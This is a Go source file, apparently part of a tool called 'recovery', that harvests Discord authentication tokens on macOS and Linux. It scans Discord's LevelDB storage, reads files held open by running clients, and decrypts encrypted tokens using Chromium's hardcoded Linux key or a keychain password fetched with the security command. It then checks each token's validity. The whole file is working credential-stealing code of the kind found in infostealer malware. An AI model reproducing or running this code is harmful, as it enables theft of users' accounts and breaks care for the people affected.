185 lines
3.9 KiB
Go
185 lines
3.9 KiB
Go
//go:build !windows
|
|
|
|
package discord
|
|
|
|
import (
|
|
"crypto/sha1"
|
|
"encoding/base64"
|
|
"encoding/json"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
"sync"
|
|
|
|
"recovery/recovery/crypto"
|
|
"recovery/recovery/platform"
|
|
|
|
"golang.org/x/crypto/pbkdf2"
|
|
)
|
|
|
|
func discordConfigDir() string {
|
|
home, _ := os.UserHomeDir()
|
|
if runtime.GOOS == "darwin" {
|
|
return filepath.Join(home, "Library", "Application Support")
|
|
}
|
|
xdg := os.Getenv("XDG_CONFIG_HOME")
|
|
if xdg != "" {
|
|
return xdg
|
|
}
|
|
return filepath.Join(home, ".config")
|
|
}
|
|
|
|
func discordV10Key(appDir string) []byte {
|
|
data, err := os.ReadFile(filepath.Join(appDir, "Local State"))
|
|
if err != nil {
|
|
if runtime.GOOS == "linux" {
|
|
return pbkdf2.Key([]byte("peanuts"), []byte("saltysalt"), 1, 16, sha1.New)
|
|
}
|
|
if runtime.GOOS == "darwin" {
|
|
return darwinDiscordKey()
|
|
}
|
|
return nil
|
|
}
|
|
var state map[string]interface{}
|
|
if err := json.Unmarshal(data, &state); err != nil {
|
|
return nil
|
|
}
|
|
osCrypt, _ := state["os_crypt"].(map[string]interface{})
|
|
if osCrypt == nil {
|
|
return nil
|
|
}
|
|
encKeyB64, _ := osCrypt["encrypted_key"].(string)
|
|
_ = encKeyB64
|
|
|
|
if runtime.GOOS == "linux" {
|
|
return pbkdf2.Key([]byte("peanuts"), []byte("saltysalt"), 1, 16, sha1.New)
|
|
}
|
|
if runtime.GOOS == "darwin" {
|
|
return darwinDiscordKey()
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func darwinDiscordKey() []byte {
|
|
for _, service := range []string{"Chromium Safe Storage", "Chrome Safe Storage"} {
|
|
out, err := exec.Command("security", "find-generic-password", "-wa", service).Output()
|
|
if err != nil {
|
|
continue
|
|
}
|
|
password := strings.TrimSpace(string(out))
|
|
if password != "" {
|
|
return pbkdf2.Key([]byte(password), []byte("saltysalt"), 1003, 16, sha1.New)
|
|
}
|
|
}
|
|
return nil
|
|
}
|
|
|
|
var discordApps = []DiscordApp{
|
|
{"Discord", "discord"},
|
|
{"Discord PTB", "discordptb"},
|
|
{"Discord Canary", "discordcanary"},
|
|
{"Discord Dev", "discorddevelopment"},
|
|
}
|
|
|
|
func readDiscordFile(path string, pids []uint32) ([]byte, error) {
|
|
return platform.ReadLockedFile(path, pids)
|
|
}
|
|
|
|
func ExtractTokens() []TokenResult {
|
|
configDir := discordConfigDir()
|
|
|
|
type candidate struct {
|
|
token string
|
|
source string
|
|
}
|
|
|
|
seen := make(map[string]struct{})
|
|
var candidates []candidate
|
|
|
|
for _, app := range discordApps {
|
|
appDir := filepath.Join(configDir, app.Dir)
|
|
leveldb := filepath.Join(appDir, "Local Storage", "leveldb")
|
|
|
|
entries, err := os.ReadDir(leveldb)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
pids, _ := platform.FindProcesses(app.Dir)
|
|
|
|
for _, e := range entries {
|
|
if e.IsDir() {
|
|
continue
|
|
}
|
|
ext := strings.ToLower(filepath.Ext(e.Name()))
|
|
if ext != ".log" && ext != ".ldb" {
|
|
continue
|
|
}
|
|
data, err := readDiscordFile(filepath.Join(leveldb, e.Name()), pids)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
for _, m := range TokenRe.FindAll(data, -1) {
|
|
tok := string(m)
|
|
if _, dup := seen[tok]; !dup {
|
|
seen[tok] = struct{}{}
|
|
candidates = append(candidates, candidate{tok, app.Name})
|
|
}
|
|
}
|
|
|
|
for _, m := range EncRe.FindAll(data, -1) {
|
|
raw := string(m)
|
|
colonIdx := strings.Index(raw, ":")
|
|
if colonIdx < 0 {
|
|
continue
|
|
}
|
|
blob, err := base64.StdEncoding.DecodeString(raw[colonIdx+1:])
|
|
if err != nil {
|
|
continue
|
|
}
|
|
key := discordV10Key(appDir)
|
|
if key == nil {
|
|
continue
|
|
}
|
|
tok := crypto.DecryptChromiumBlob(blob, key, nil)
|
|
if tok == "" || !TokenRe.MatchString(tok) {
|
|
continue
|
|
}
|
|
if _, dup := seen[tok]; !dup {
|
|
seen[tok] = struct{}{}
|
|
candidates = append(candidates, candidate{tok, app.Name})
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
if len(candidates) == 0 {
|
|
return nil
|
|
}
|
|
|
|
valid := make([]bool, len(candidates))
|
|
var wg sync.WaitGroup
|
|
sem := make(chan struct{}, 6)
|
|
for i, c := range candidates {
|
|
wg.Add(1)
|
|
go func(idx int, tok string) {
|
|
defer wg.Done()
|
|
sem <- struct{}{}
|
|
valid[idx] = CheckToken(tok)
|
|
<-sem
|
|
}(i, c.token)
|
|
}
|
|
wg.Wait()
|
|
|
|
var out []TokenResult
|
|
for i, c := range candidates {
|
|
if valid[i] {
|
|
out = append(out, TokenResult{Token: c.token, Source: c.source})
|
|
}
|
|
}
|
|
return out
|
|
}
|